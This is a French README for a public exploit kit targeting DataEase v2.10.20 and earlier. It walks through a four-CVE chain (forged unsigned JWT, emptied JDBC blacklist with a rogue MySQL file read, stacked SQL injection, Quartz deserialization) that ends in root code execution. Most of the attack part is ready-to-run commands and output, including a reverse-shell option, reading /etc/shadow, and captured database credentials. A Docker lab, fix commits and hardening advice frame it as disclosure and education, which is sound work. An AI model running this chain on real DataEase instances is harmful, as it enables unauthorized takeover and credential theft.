Exploit automatisé pour DataEase : chaîne de 4 vulnérabilités (contournement d'authentification, contournement de la liste noire JDBC, injection SQL, désérialisation Java) permettant une exécution de code à distance non authentifiée. Comprend un laboratoire Docker et un PoC Python.
Contournement d'authentification → contournement de la liste noire JDBC (lecture arbitraire de fichiers) → injection SQL → Désérialisation Java dans Quartz → exécution de code à distance en tant que
root.Laboratoire local autonome (Docker) + PoC fonctionnel. Corrigé dans DataEase v2.10.21.
DataEase est une plateforme open-source populaire de BI / visualisation de données (Java / Spring Boot). Les versions ≤ v2.10.20 sont vulnérables à une chaîne de quatre problèmes qui, combinés, transforment une instance DataEase accessible depuis le réseau en exécution de code à distance :
| # | CVE | Classe | Ce que ça nous donne |
|---|
| 1 | CVE-2026-23958 | Contournement d'authentification (CWE-287/CWE-347) | Agir en tant que admin — aucune signature valide requise |
| 2 | CVE-2026-40899 | Contournement de la liste noire JDBC (CWE-20) | Lecture arbitraire de fichiers → vol des identifiants de la BDD back-end |
| 3 | CVE-2026-40900 | Injection SQL / requêtes empilées (CWE-89) | Écrire dans la base de données de DataEase elle-même |
| 4 | CVE-2026-40901 | Désérialisation Java (CWE-502) | RCE en tant que root via le job store de Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Tout s'exécute localement dans Docker. Aucun service externe, aucune cible internet.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Lancement :
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (préfixe API /de2api)admin / DataEase@123456Prérequis sur l'hôte : Docker, Python 3.8+ avec cryptography
(pip install -r exploit/requirements.txt), et le CLI Docker (utilisé pour exécuter
ysoserial dans un conteneur jetable eclipse-temurin:8-jre afin de construire le gadget).
DataEase authentifie les requêtes dans un filtre de servlet, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Il lit le jeton et appelle
TokenUtils.validate(), qui aboutit à :
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() ne vérifie jamais la signature. Les seules vérifications sont : le jeton
fait au moins 100 caractères et porte une revendication uid entière. Ainsi, n'importe quel JWT indiquant
"uid": 1 fait s'exécuter la requête en tant qu'administrateur intégré (uid 1).
Il existe un second filtre (CommunityTokenFilter) qui, lui, vérifie une signature
pour l'en-tête X-DE-TOKEN — mais seulement dans des conditions spécifiques, et la
clé de signature est soit un secret propre à chaque utilisateur, soit, dans une version communautaire de base, le MD5
du mot de passe par défaut codé en dur DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). Le chemin compagnon share-link
(X-DE-LINK-TOKEN) est signé avec la clé codée en dur
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) et, avant le correctif, était lui aussi
décodé sans vérification.
Effet net : un attaquant peut forger un jeton d'administrateur. de_common.py
inclut forge_jwt(), qui produit le jeton sans signature ; le PoC prend également en charge
la simple connexion avec les identifiants par défaut omniprésents afin d'obtenir un
X-DE-TOKEN entièrement valide pour le reste de la chaîne.
Le correctif (commit 00c169caa) fait que TokenFilter recherche le véritable secret propre à chaque ressource
et appelle réellement verifier.verify(...).
Lorsque vous ajoutez une source de données MySQL, DataEase refuse un ensemble de paramètres JDBC
dangereux. Cette liste noire se trouve dans un champ Lombok @Data :
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Comme @Data génère automatiquement setIllegalParameters(...), Jackson peut sans difficulté
le remplir à partir d'un JSON contrôlé par l'attaquant. L'envoi de "illegalParameters": [] dans
le blob configuration (encodé en Base64) vide la liste noire avant qu'elle ne soit
vérifiée. Nous pouvons alors pointer la source de données vers un serveur MySQL malveillant avec
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
et lire des fichiers arbitraires depuis l'hôte DataEase via le mécanisme MySQL LOCAL INFILE.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Résultat — DataEase nous livre ses propres identifiants de base de données back-end :
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Ces identifiants sont ce qu'un attaquant utilise pour orienter l'étape 3 vers la base de données de DataEase
elle-même. Le correctif (commit 16a950f96) ajoute @JsonIgnore à chaque
champ illegalParameters afin qu'il ne puisse plus être défini à partir de JSON.
previewSqlPOST /de2api/datasetData/previewSql prend une chaîne SQL encodée en Base64 et,
avec aucune validation de type « une seule instruction », l'encapsule comme sous-requête :
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Les commentaires sont supprimés, mais nous pouvons équilibrer les parenthèses et utiliser ; pour exécuter
des instructions supplémentaires. Comme nous contrôlons la source de données, nous activons
allowMultiQueries=true (absent de la liste noire dans v2.10.20), donc les requêtes empilées
s'exécutent :
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
que le serveur assemble en trois instructions réelles. En pointant cette source de données
vers la base de données propre de DataEase (identifiants de l'étape 2), nous pouvons écrire dans ses tables
Quartz. Correctifs : 15611593b ajoute allowMultiQueries à la liste noire et
e89059d88 durcit le flux de sauvegarde/moteur.
DataEase planifie un job Quartz récurrent « vérification d'état de la source de données » :
deSyncJob, job Datasource / check_status, classe
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (par défaut : toutes les 6 minutes)Quartz utilise un job store JDBC avec useProperties=false, donc la
JobDataMap de chaque job est stockée dans la colonne QRTZ_JOB_DETAILS.JOB_DATA comme un
objet sérialisé Java brut (vous pouvez le voir : le blob commence par la
magie de sérialisation AC ED 00 05 … org.quartz.JobDataMap). Lorsque le planificateur
recherche des déclencheurs, il fait, dans StdJDBCDelegate.selectJobDetail :
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase embarque commons-collections-3.2.1.jar (et velocity-1.7.jar) —
des sources classiques de gadgets de désérialisation. En utilisant l'étape 3, nous écrasons JOB_DATA
avec une charge utile ysoserial CommonsCollections6 (et, dans la même requête empilée,
nous avançons NEXT_FIRE_TIME du déclencheur à maintenant afin de ne pas attendre le
cron de 6 minutes). Lors du prochain balayage du planificateur, readObject() déclenche la chaîne de gadgets
(LazyMap → InvokerTransformer → Runtime.exec) et notre commande s'exécute — en tant que
root, dans le conteneur. L'ensemble de correctifs (e05bda764, …) supprime la dépendance vulnérable
Velocity et l'atteignabilité du sink.
Le PoC génère le gadget pour vous (encapsulation de commande compatible busybox — le
shell cible est Alpine ash et Runtime.exec ne passe pas par un shell, nous utilisons donc
sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Réinitialisez le job Quartz empoisonné entre les exécutions (facultatif) :
exploit/reset_quartz.sh
| Chemin | Rôle |
|---|---|
exploit/de_common.py | Client HTTP : récupération de la clé RSA /dekey, connexion, falsification de JWT, datasource + previewSql |
exploit/de_rce_chain.py | la chaîne complète auth → SQLi → RCE par désérialisation Quartz |
exploit/rogue_mysql.py | serveur MySQL malveillant minimal (lecture de fichier LOCAL INFILE) pour CVE-2026-40899 |
exploit/file_read.py | pilote CVE-2026-40899 contre le serveur malveillant |
exploit/reset_quartz.sh | restaure un job Quartz propre après une exécution |
admin par défaut (DataEase@123456).useProperties=true, appliquez un
filtre de désérialisation JVM (-Djdk.serialFilter=…), et retirez
commons-collections:3.2.1 / velocity:1.7 du classpath.Pour l'éducation et les tests autorisés uniquement. Le laboratoire cible un conteneur que vous exécutez vous-même. N'utilisez rien de tout cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)